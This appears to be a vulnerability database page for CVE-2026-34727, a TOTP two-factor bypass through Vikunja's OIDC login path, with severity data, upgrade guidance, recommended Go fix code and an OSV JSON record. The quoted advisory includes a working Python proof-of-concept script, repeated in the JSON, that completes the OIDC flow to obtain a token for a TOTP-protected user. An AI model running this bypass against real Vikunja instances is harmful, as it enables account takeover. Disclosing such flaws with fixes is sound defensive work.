CVE-2026-34727: Code.vikunja.io/api Authentication Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-8jvc-mcx6-r4cg
CVSS 7.4
CWE-287
Published
Advisory Summary

CVE-2026-34727 is a HIGH (CVSS 7.4) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja has totp two-factor authentication bypass via oidc login path. Remediation is available by upgrading affected packages to version 2.3.0.

CVE-2026-34727 at a Glance

CVE Identifier CVE-2026-34727
GHSA Identifier GHSA-8jvc-mcx6-r4cg
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-287: Improper Authentication
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-34727

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.3.0
Upgrade code.vikunja.io/api to 2.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34727, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. ## Details The OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup: ```go return auth.NewUserAuthTokenResponse(u, c, false) ``` There are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification: ```go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { _ = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, }) ``` When OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge. ## Proof of Concept Tested on Vikunja v2.2.2 with Dex as the OIDC provider. Setup: - Vikunja configured with `emailfallback: true` for Dex - Local user `alice` (id=1) has TOTP enabled ```python import requests, re, html from urllib.parse import parse_qs, urlparse TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1" # verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}") # Output: 412 code=1017 (TOTP required) # login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?client_id=vikunja" f"&redirect_uri={TARGET}/auth/openid/dex" f"&response_type=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allow_redirects=False) approval_url = DEX + r.headers["Location"] r = s.get(approval_url) req = re.search(r'name="req" value="([^"]*)"', r.text).group(1) r = s.post(approval_url, data={"req": req, "approval": "approve"}, allow_redirects=False) code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0] resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.status_code}") user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") # TOTP was completely bypassed ``` Output: ``` Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice ``` Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge. ## Impact When an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment. This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor. ## Recommended Fix Add a TOTP check in the OIDC callback before issuing the JWT: ```go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { _ = s.Rollback() return err } if totpEnabled { _ = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

CVE-2026-34727 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.3.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
< 2.3.0
2.3.0

References

Frequently Asked Questions

What is CVE-2026-34727?
CVE-2026-34727 is a security vulnerability in Code.vikunja.io/api involving Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path under CWE-287: Improper Authentication.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.3.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-34727?
Upgrading to 2.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.3.0. Upgrade your dependency to 2.3.0 or later.
What is the CVSS score of CVE-2026-34727?
CVE-2026-34727 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-34727?
CVE-2026-34727 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2026-34727?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8jvc-mcx6-r4cg",
  "modified" : "2026-07-21T13:49:14Z",
  "published" : "2026-04-10T15:30:57Z",
  "aliases" : [ "CVE-2026-34727" ],
  "summary" : "Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path",
  "details" : "## Summary\n\nThe OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.\n\n## Details\n\nThe OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup:\n\n```go\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\nThere are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification:\n\n```go\ntotpEnabled, err := user2.TOTPEnabledForUser(s, user)\nif totpEnabled {\n    if u.TOTPPasscode == \"\" {\n        _ = s.Rollback()\n        return user2.ErrInvalidTOTPPasscode{}\n    }\n    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{\n        User:     user,\n        Passcode: u.TOTPPasscode,\n    })\n```\n\nWhen OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with Dex as the OIDC provider.\n\nSetup:\n- Vikunja configured with `emailfallback: true` for Dex\n- Local user `alice` (id=1) has TOTP enabled\n\n```python\nimport requests, re, html\nfrom urllib.parse import parse_qs, urlparse\n\nTARGET = \"http://localhost:3456\"\nDEX = \"http://localhost:5556\"\nAPI = f\"{TARGET}/api/v1\"\n\n# verify TOTP is required for local login\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"})\nprint(f\"Local login without TOTP: {r.status_code} code={r.json().get('code')}\")\n# Output: 412 code=1017 (TOTP required)\n\n# login via OIDC (same flow as VIK-020 PoC)\ns = requests.Session()\nr = s.get(f\"{DEX}/dex/auth?client_id=vikunja\"\n          f\"&redirect_uri={TARGET}/auth/openid/dex\"\n          f\"&response_type=code&scope=openid+profile+email&state=x\")\naction = html.unescape(re.search(r'action=\"([^\"]*)\"', r.text).group(1))\nif not action.startswith(\"http\"): action = DEX + action\nr = s.post(action, data={\"login\": \"alice@test.com\", \"password\": \"password\"},\n           allow_redirects=False)\napproval_url = DEX + r.headers[\"Location\"]\nr = s.get(approval_url)\nreq = re.search(r'name=\"req\" value=\"([^\"]*)\"', r.text).group(1)\nr = s.post(approval_url, data={\"req\": req, \"approval\": \"approve\"},\n           allow_redirects=False)\ncode = parse_qs(urlparse(r.headers[\"Location\"]).query)[\"code\"][0]\n\nresp = requests.post(f\"{API}/auth/openid/dex/callback\",\n    json={\"code\": code, \"redirect_url\": f\"{TARGET}/auth/openid/dex\"})\nprint(f\"OIDC login: {resp.status_code}\")\n\nuser = requests.get(f\"{API}/user\",\n    headers={\"Authorization\": f\"Bearer {resp.json()['token']}\"}).json()\nprint(f\"User: id={user['id']} username={user['username']}\")\n# TOTP was completely bypassed\n```\n\nOutput:\n```\nLocal login without TOTP: 412 code=1017\nOIDC login: 200\nUser: id=1 username=alice\n```\n\nLocal login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.\n\n## Impact\n\nWhen an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.\n\nThis vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor.\n\n## Recommended Fix\n\nAdd a TOTP check in the OIDC callback before issuing the JWT:\n\n```go\ntotpEnabled, err := user.TOTPEnabledForUser(s, u)\nif err != nil {\n    _ = s.Rollback()\n    return err\n}\nif totpEnabled {\n    _ = s.Rollback()\n    return echo.NewHTTPError(http.StatusForbidden,\n        \"TOTP verification required. Please use the local login endpoint.\")\n}\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34727"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/2582"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T15:30:57Z",
    "nvd_published_at" : "2026-04-10T16:16:31Z"
  }
}